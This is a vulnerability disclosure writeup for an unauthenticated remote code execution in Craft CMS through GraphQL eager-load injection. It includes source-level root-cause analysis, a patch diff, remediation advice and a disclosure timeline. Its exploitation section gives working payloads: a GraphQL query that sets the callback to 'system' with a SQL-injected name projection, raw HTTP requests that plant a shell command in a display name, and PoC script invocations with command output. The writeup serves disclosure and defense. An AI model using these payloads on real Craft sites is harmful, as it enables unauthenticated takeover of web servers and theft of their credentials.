Craft CMS Unauthenticated RCE via GraphQL Eager-Load Injection
TL;DR
- I found unauthenticated RCE in Craft CMS on sites whose public GraphQL schema exposes assets but not users.
- Craft calls a PHP function named in the query, passing a user's display name as the argument.
- The same query rewrites the SQL that selects that name, so the attacker supplies the command. Its output comes back in the response.
- Any user with control panel access can also reach the same callback through element search.
- Craft fixed the callback in 5.10.13. CVE-2026-79987 covers
>= 5.8.0, < 5.10.13and describes only the authenticated route. The anonymous GraphQL route exists from 5.0.0, while the related SQL injection stayed open until 5.11.2 and 4.18.9.
Summary
- CVE: CVE-2026-79987
- Product: Craft CMS (
craftcms/cms) - Vulnerability: Unauthenticated OS Command Injection via Eager-Load Callback
- Affected Versions:
>= 5.8.0, < 5.10.13(advisory, element search route); the GraphQL route is present from5.0.0 - Fixed In: 5.10.13
- Severity: High
- CVSS Severity: 8.8 (high)
- Required Privilege: None (GraphQL route) or
accessCp(element search route) - Advisory: GHSA-9c4j-cjw3-r3xx
- Reported: July 21, 2026
- NVD Published: September 10, 2026
Two request routes reach the same sink.
| Route | Required privilege | Reporter-assessed CVSS | In the advisory |
|---|---|---|---|
GraphQL uploader eager plan | None | 9.8 critical | No |
Element search criteria.with | accessCp | 8.8 high | Yes |
Introduction
[A]I was poking at Craft's control panel Ajax actions the same week I reported the signed-cookie redirect and database fail-open RCEs. The element search action accepts a whole element-query criteria array from the request. Craft cleans the array twice before applying it, leaving nested eager-load options untouched.
I first found the bug through the control panel, then traced the same eager-load option into GraphQL, where it reaches the callback without an account or token even though the published advisory only describes the control panel route.
Root Cause Analysis
The Shared Sink
Craft represents each relationship it intends to fetch as an EagerLoadPlan, an object holding the relation name (handle), query filters and an optional when callback. Both routes end in Elements.php, where the eager-loading service passes the elements through that callback before fetching the relation.
// src/services/Elements.php
foreach ($with as $plan) {
// Filter out any elements that the plan doesn't like
if ($plan->when !== null) {
$filteredElements = array_values(array_filter($elements, $plan->when)); // [1] Invoked as a PHP callable.
if (empty($filteredElements)) {
continue;
}
} else {
$filteredElements = $elements;
}
// Get the eager-loading map from the source element type
$maps = $elementType::eagerLoadingMap($filteredElements, $plan->handle); // [2] Handle resolved after the callback.
}
array_filter() at [1] calls the plan's when once per element, passing the element in. The handle at [2] is only resolved after that filter, so the callback fires even when nothing eager-loadable comes back. The nested path just has to name a relation Craft recognises. The callback is stored in EagerLoadPlan::$when.
// src/elements/db/EagerLoadPlan.php
/**
* @var callable|null A PHP callable whose return value determines whether to apply eager-loaded elements to the given element.
*
* The signature of the callable should be `function (\craft\base\ElementInterface $element): bool`, where `$element` refers to the element
* the eager-loaded elements are about to be applied to. The callable should return a boolean value.
*
* @since 3.5.12
*/
public $when; // [3] Documented callable, declared untyped.
The docblock at [3] describes $when as callable|null, but the property has no PHP type, so it also accepts the string system. array_filter() then calls system($element), and PHP converts the element to a string.
A User element stringifies to its display name, from User::__toString() and _defineName().
// src/elements/User.php
public function __toString(): string
{
$name = $this->getName();
if ($name !== '') {
return $name; // [4] The display name.
}
return parent::__toString();
}
private function _defineName(): string
{
// ... defineName event handling omitted ...
return $this->fullName ?? (string)$this->username; // [5] A user-owned free-text field.
}
The display name at [4] comes from fullName at [5], so the effective call is system((string)$user), which runs whatever fullName holds.
The Anonymous GraphQL Route
Resolving the Public Schema
Craft's GraphQL endpoint resolves a schema before it touches the query body, and _token() handles a request that supplies no credentials at all.
// src/controllers/GraphqlController.php
private function _token(GqlService $gqlService): ?GqlToken
{
$bearerToken = $this->request->getBearerToken();
if ($bearerToken) {
// ... token lookup and validity check omitted ...
}
// Get the public schema, if it exists & is valid
return $this->_publicToken($gqlService); // [6] No header, public schema.
}
A request with no Authorization header lands on the public schema at [6]. A default install leaves the public token disabled, so an anonymous request stops there.
Slipping Past Validation
Craft asks graphql-php for its default validation rules and then removes two of them, in Gql::getValidationRules().
// src/services/Gql.php
$validationRules = DocumentValidator::defaultRules();
if (!$debug) {
// Remove the rules which would generate a full schema just for a nice message, to avoid performance hit.
unset(
$validationRules[KnownTypeNames::class],
$validationRules[FieldsOnCorrectType::class] // [7] Production drops this rule.
);
}
The $debug argument is Dev Mode, which is off in production, so the unset() at [7] drops FieldsOnCorrectType. That rule normally rejects a query for naming a field the schema does not define, so without it an unknown field passes validation.
The executor still leaves that field out of the response. KnownArgumentNames would normally validate its arguments:
// src/Validator/Rules/KnownArgumentNames.php
$fieldDef = $context->getFieldDef();
$parentType = $context->getParentType();
if ($fieldDef === null || ! ($parentType instanceof Type)) {
return; // [8] No field, no argument check.
}
An unknown field has no definition, so getFieldDef() returns null and [8] skips its arguments.
How Craft Reuses the Parsed Query
Every element resolver builds its query and then asks ElementQueryConditionBuilder which relations to eager-load, in extractQueryConditions().
// src/gql/ElementQueryConditionBuilder.php
/** @var \ArrayObject $fieldNodes */
$fieldNodes = $this->_resolveInfo->fieldNodes; // [9] Reads the parsed query.
$startingNode = $fieldNodes[0];
$rootPlan = new EagerLoadPlan();
// Load up all eager loading rules.
$extractedConditions = [
'with' => $this->_traverseAndBuildPlans($startingNode, $rootPlan, $startingParentField, null, $startingParentField ? $startingParentField->context : 'global'),
];
The field nodes read at [9] are the parsed query, so they include every field the client asked for, even the ones the executor will drop. _traverseAndBuildPlans() walks that selection set and decides what each child node means, in the same file.
// src/gql/ElementQueryConditionBuilder.php
foreach ($subNodes as $subNode) {
$nodeName = $subNode->name->value ?? null;
if ($subNode instanceof FieldNode) {
/** @var FieldInterface|null $craftContentField */
$craftContentField = $this->_eagerLoadableFieldsByContext[$context][$nodeName] ?? null;
// ... transformable asset property and asset field checks omitted ...
$isSpecialField = $this->_isAdditionalEagerLoadableNode($nodeName, $parentField); // [10] Matched against a hardcoded list.
if ($possibleTransforms || $craftContentField || $otherEagerLoadableNode || $isSpecialField) {
$plan = new EagerLoadPlan();
// Any arguments?
$arguments = $this->_extractArguments($subNode->arguments); // [11] Every argument on the node.
// ... transform arguments, custom field scoping and aliasing omitted ...
$plan->criteria = array_merge_recursive($plan->criteria, $this->_argumentManager->prepareArguments($arguments)); // [12] Arguments become plan criteria.
}
}
}
The check at [10] never consults the schema. Once a node passes it, its arguments are pulled off at [11] and merged into the plan's criteria at [12].
The Hidden uploader Field
The check at [10] is _isAdditionalEagerLoadableNode(), which matches the node name against a hardcoded list.
// src/gql/ElementQueryConditionBuilder.php
$nodeList = $this->_getKnownSpecialEagerLoadNodes();
if (isset($nodeList[$nodeName])) {
// Top level - anything goes
if ($parentField === null) {
return true; // [13] Root query, membership is enough.
}
// ... parent field class matching omitted ...
}
For a root query the parent field is null, so [13] returns true on a name match alone. The list maps each name to a field class.
// src/gql/ElementQueryConditionBuilder.php
$list = [
'photo' => [UserField::class, 'canBeAliased' => false],
'addresses' => [UserField::class, 'canBeAliased' => true],
'author' => [EntryField::class, 'canBeAliased' => false],
'uploader' => [AssetField::class, 'canBeAliased' => false], // [14] Listed regardless of schema scope.
'parent' => [BaseRelationField::class, 'canBeAliased' => false],
// ... the remaining structure, draft and revision nodes omitted ...
];
uploader sits in that list at [14]. On AssetInterface it's a conditional field, published only when the schema grants read access to user groups. When the schema withholds users, uploader and its argument definitions are absent, so KnownArgumentNames has nothing to validate. The condition builder still recognises the name.
Resolving uploader to User Elements
Eager loading uploader means a second query for the target users. Craft asks the source type where the relation points, in Asset::eagerLoadingMap().
// src/elements/Asset.php
if ($handle === 'uploader') {
// Get the source element IDs
$sourceElementIds = array_map(fn(ElementInterface $element) => $element->id, $sourceElements);
$map = (new Query())
->select(['id as source', 'uploaderId as target'])
->from([Table::ASSETS])
->where(['and', ['id' => $sourceElementIds], ['not', ['uploaderId' => null]]])
->all();
return [
'elementType' => User::class, // [15] Resolves to real User elements.
'map' => $map,
];
}
The map comes straight from the assets table and points at real User elements at [15], so nothing checks whether the requester could have queried users through GraphQL. The only requirement is a non-null uploaderId, which anything uploaded through the control panel has. _eagerLoadElementsInternal() then builds the User query and configures it from the plan.
// src/services/Elements.php
// Get the target elements
$query = $this->createElementQuery($map['elementType']);
// ... order, offset, limit and site criteria handling omitted ...
$criteria = array_merge(
$siteCriteria,
$plan->criteria,
$otherCriteria,
);
// ... offset and limit removed from criteria ...
Craft::configure($query, $criteria); // [16] Criteria written onto the query.
Projecting the Command into the Name
Craft::configure() at [16] assigns each criteria key to the matching public property. Element search strips a top-level select before this point. Nothing on the GraphQL path does, so select arrives intact and drives the SQL projection in _applySelectParam().
// src/elements/db/ElementQuery.php
foreach ((array)$this->select as $alias => $column) {
if ($alias === '**') {
$includeDefaults = true;
} else {
// ... mapped column name resolution omitted ...
if (is_array($column)) {
$select[$alias] = new CoalesceColumnsExpression($column);
} else {
$select[$alias] = $column;
}
}
}
// ... the ** branch merges in Craft's default columns ...
$this->query->select = $select; // [17] Attacker-chosen projection.
Supplying an explicit select without the ** placeholder replaces Craft's default columns with the projection assembled at [17]. Each value goes to Yii's query builder. In QueryBuilder::buildSelect(), Yii quotes a value as a column name only when it contains no parenthesis.
// framework/db/QueryBuilder.php
} elseif (is_string($i) && $i !== $column) {
if (strpos($column, '(') === false) {
$column = $this->db->quoteColumnName($column); // [18] No parenthesis, quoted as identifier.
}
$columns[$i] = "$column AS " . $this->db->quoteColumnName($i);
}
fullName: "CHAR(105,100)" contains a parenthesis, so it skips the quoting at [18] and goes into the query verbatim. The User's fullName now comes from that SQL expression.
Nothing limits that expression to a constant, so the same argument is a SQL injection too, which has its own writeup.
Re-entering the Loader
The with argument reached the User query through the same Craft::configure() call at [16]. Eager-loaded target queries normally use array mode, which skips the eager-loading branch in afterPopulate(). Back in Elements.php, Craft disables array mode and calls afterPopulate() itself.
// src/elements/db/ElementQuery.php
public function afterPopulate(array $elements): array
{
if (!$this->asArray) {
// ... result, cache expiry and next/prev wiring omitted ...
// Should we eager-load some elements onto these?
if ($this->with) {
$elementsService->eagerLoadElements($this->elementType, $elements, $this->with); // [19] Injected with, one level down.
}
}
return $elements;
}
At [19], Craft starts eager loading again with the new User elements as the source and the attacker's nested with array as the plan. createEagerLoadingPlans() turns that array into plan objects.
// src/services/Elements.php
$when = $path['when'] ?? null; // [20] Read from the supplied array.
// ... the path is split into handle, subpath and alias, and a plan is created ...
if ($when !== null) {
$plan->when = $when; // [21] Stored with no check.
}
Nothing checks when between [20] and [21], so the plan holds the string system, and the array_filter() at [1] calls it on the User built from the projected row. Its fullName holds whatever the attacker's SQL expression returned, so system() runs the command.
The accessCp Element-Search Route
The authenticated route needs a login to reach [21]. Controller.php runs this check for a control panel request that isn't on the anonymous allowlist.
// src/web/Controller.php
if (!($test & $allowAnonymous)) {
// If this is a control panel request, make sure they have access to the control panel
if ($isCpRequest) {
$this->requireLogin();
$this->requirePermission('accessCp'); // [22] Login plus one permission.
}
// ... guest and offline handling omitted ...
}
accessCp, required at [22], only grants access to the control panel. The element search action, added in Craft 5.8.0, requires no other permission and takes a whole criteria array from the request, in ElementSearchController.php.
// src/controllers/ElementSearchController.php
$criteria = $this->request->getBodyParam('criteria'); // [23] Arbitrary array from request JSON.
// ... element type validated, query built with the search string ...
if ($criteria) {
// Remove unsupported criteria attributes
$criteria = ElementHelper::cleanseQueryCriteria($criteria); // [24] First cleanser.
Craft::configure($query, Component::cleanseConfig($criteria)); // [25] Second cleanser, then configure.
}
The array from [23] goes through two cleansers at [24] and [25] before Craft writes it onto the query. cleanseQueryCriteria() unsets a fixed list of query-builder properties such as where, orderBy and select, and with isn't on it. cleanseConfig() recurses and strips Yii's event and behaviour keys, the ones starting with on or as.
// src/helpers/Component.php
foreach ($config as $key => $value) {
if (is_string($key) && (str_starts_with($key, 'on ') || str_starts_with($key, 'as '))) { // [26] Only Yii config prefixes.
unset($config[$key]);
continue;
}
if (is_array($value)) {
$config[$key] = static::cleanseConfig($value); // [27] Recurses, same two prefixes.
}
}
Craft added cleanseConfig() to stop an earlier Yii configuration-injection RCE (GHSA-qrgm-p9w5-rrfw, CVE-2026-44011). At [26], it rejects only on and as keys. The recursion at [27] applies the same check inside with, so when passes through to the element query.
The surviving when value reaches [21]. Here the filtered User is the attacker's own account, so system() receives the display name they control.
Impact
Both routes run arbitrary commands as the PHP worker. In the Docker lab that's www-data. It can read .env for the database credentials and CRAFT_SECURITY_KEY, write to storage/ and web/cpresources/, and use those credentials against the database. Neither route by itself gives root or escapes a container.
The GraphQL route needs no account, but it does need a public schema that reads assets without exposing users. A default install has no public schema.
The authenticated route needs an account with accessCp. The account I tested inherited that permission from its group and had no permissions of its own. Production mode, allowAdminChanges=false, Twig sandboxing and CSRF protection did not block the route.
Exploitation
Preconditions
- Craft CMS
>= 5.8.0, < 5.10.13for the element search route. The GraphQL route reaches the same property from Craft 5.0.0. PHP'ssystem()must be callable (passthru()works too). - The GraphQL route needs a public schema that allows anonymous reads of the site and at least one asset volume, but not user groups. At least one asset must have a populated
uploaderId. TheCHAR()projection shown below uses MySQL. - The element search route needs only a control panel account with
accessCp. It doesn't need the admin flag,editUsersor an elevated session.
The Unauthenticated Query
One GraphQL request carries both halves of the payload. assets is in the schema and uploader isn't, so its arguments go unchecked.
query {
assets(id: ["12"], limit: 1) {
uploader(select: { id: "elements.id", siteId: "elements_sites.siteId", fullName: "CHAR(105,100)" }, with: { trigger: { path: "photo", when: "system" } }) {
id
}
}
}
select rebuilds the User query's projection. The eager loader indexes rows by id and reads siteId off each one, so the projection keeps those two and replaces fullName with the command. CHAR(105,100) spells the command id. with supplies the nested plan whose when becomes the callback, and its path only needs to name a relation users have. Over the wire it is an ordinary POST, with a cache header so a repeat run is not answered from Craft's GraphQL cache.
POST /index.php?p=actions/graphql/api HTTP/1.1
Host: target.example
Content-Type: application/json
X-Craft-Gql-Cache: no-cache
{"query":"query { assets(id: [\"12\"], limit: 1) { uploader(select: {id: \"elements.id\", siteId: \"elements_sites.siteId\", fullName: \"CHAR(105,100)\"} with: {trigger: {path: \"photo\", when: \"system\"}}) { id } } }"}
eagerload_graphql_unauth_rce.py builds that query and encodes the command as CHAR() so no shell metacharacters travel in plaintext. Given only --url, it enumerates public assets to find one with an uploader, or you can point it at a known --asset-id.
python3 eagerload_graphql_unauth_rce.py --url https://target.example --command id
Against a public asset on a local Craft 5.10.11 instance, with no credentials:
____ ____ _ _____ _____
/ ___| _ \ / \ | ___|_ _|
| | | |_) | / _ \ | |_ | |
| |___| _ < / ___ \| _| | |
\____|_| \_\/_/ \_\_| |_|
unauthenticated GraphQL eager-load RCE · CVE-2026-79987
discovered by CryptoCat · cryptocat.me
[*] Target https://target.example/index.php?p=actions/graphql/api
[*] Enumerating public assets for one with an uploader
[*] Injecting eager-load plan (uploader.when = system)
[+] Executed as the PHP worker via asset 3
[+] command output
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
system() writes its stdout straight to PHP's output buffer, so the output arrives ahead of the JSON document Craft renders. That's why the client reads it out of the raw bytes.
The Authenticated Requests
Exploiting element search takes two requests. The first is a normal profile update that puts the command in the account's display name.
POST /admin/actions/users/save-user HTTP/1.1
Host: target.example
Content-Type: application/json
Accept: application/json
X-CSRF-Token: CSRF_TOKEN
Cookie: CraftSessionId=SESSION; CRAFT_CSRF_TOKEN=CSRF_COOKIE
{"userId":2,"fullName":"printf %s S1; sh -c id 2>&1; printf %s E1"}
The second searches for that same user and asks for an eager-load plan filtered by system.
POST /admin/actions/element-search/search HTTP/1.1
Host: target.example
Content-Type: application/json
Accept: application/json
X-CSRF-Token: CSRF_TOKEN
Cookie: CraftSessionId=SESSION; CRAFT_CSRF_TOKEN=CSRF_COOKIE
{"elementType":"craft\\elements\\User","siteId":null,"search":"","criteria":{"id":2,"with":[{"path":"photo","when":"system"}]},"excludeIds":[]}
criteria.id pins the search to the attacker's own user, so the callback gets exactly one element. eagerload_authenticated_rce.py drives both requests and restores the display name afterwards.
python3 eagerload_authenticated_rce.py -u https://target.example/admin -U editor -p '<password>' -c id
Against the same local instance with a non-admin accessCp account (banner omitted):
[*] Authenticating as editor
[+] Logged in as user 2 (admin=false)
[*] Staging command in the account's display name
[*] Triggering element-search eager-load (with[].when = system)
[+] command output
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Restored the original display name
Patch Diffing
Craft fixed both routes in 5.10.13 by typing EagerLoadPlan::$when as ?Closure.
// src/elements/db/EagerLoadPlan.php
/**
- * @var callable|null A PHP callable whose return value determines whether to apply eager-loaded elements to the given element.
+ * @var Closure|null A PHP callable whose return value determines whether to apply eager-loaded elements to the given element.
*
* The signature of the callable should be `function (\craft\base\ElementInterface $element): bool`, where `$element` refers to the element
* the eager-loaded elements are about to be applied to. The callable should return a boolean value.
*
* @since 3.5.12
*/
-public $when;
+public ?Closure $when = null;
Typing $when as ?Closure means PHP rejects a string on assignment, so neither route can store the string system any more. The select injection on the same path stayed open until 5.11.2 and 4.18.9.
Remediation
Update to Craft CMS 5.10.13 or later. Craft 5.11.2 or later also closes the select injection on the same path.
If you run a public GraphQL schema and can't update yet, disable the schema to remove anonymous access to the endpoint. If the site needs the schema, giving it read access to user groups publishes uploader as a real field with a fixed argument list, so the injected arguments are rejected as unknown. That opens user data to anonymous queries, so treat it as a stopgap.
For the authenticated route, check who holds accessCp and remove it from accounts that don't need the control panel.
Disclosure Timeline
- July 21, 2026: Reported the authenticated element search RCE, with a PoC and proposed fix.
- July 22, 2026: Submitted the unauthenticated GraphQL RCE as a separate report, with its own PoC.
- July 23, 2026: The element search report was accepted as High severity.
- July 27, 2026: The GraphQL report was accepted as Critical severity.
- July 31, 2026: The GraphQL report was closed as a duplicate of the element search report.
- August 4, 2026: Craft CMS 5.10.13 fixed the callback used by the authenticated element-search route and the unauthenticated GraphQL route.
- September 1, 2026: GHSA-9c4j-cjw3-r3xx published, describing only the authenticated route. I asked about the missing GraphQL impact and whether a CVE had been requested.
- September 3, 2026: Reported the remaining
selectinjection in 5.11.1. It was accepted the same day. - September 10, 2026: CVE-2026-79987 assigned to the eager-load report.
- September 17, 2026: The SQL injection was fixed in Craft CMS 5.11.2 and 4.18.9.
- October 22, 2026: GHSA-mjj9-pjh4-r48g published for the SQL injection. I held this writeup for it, because the GraphQL route uses the same injection.
Conclusion
Both request paths could set the same untyped property to a PHP function name, and Craft fixed them in 5.10.13 by typing it as ?Closure. Because the GraphQL report was closed as a duplicate, the published advisory describes only the authenticated route and rates the bug High, while the anonymous route also depends on the separate select injection, which stayed open for another six weeks.
References
- GHSA-9c4j-cjw3-r3xx: low-privilege RCE through element-search eager loading
- NVD: CVE-2026-79987
- Craft CMS 5.10.13 release
- Companion PoC repository: Crypto-Cat/craftcms-2026-pocs
- GHSA-qrgm-p9w5-rrfw: earlier element search RCE, fixed in Craft 5.9.18 (CVE-2026-44011)
- Craft CMS Docs: GraphQL API
- PHP: callbacks and callables
- Craft CMS eager-load GraphQL SQL injection writeup
- Craft CMS signed-cookie redirect RCE writeup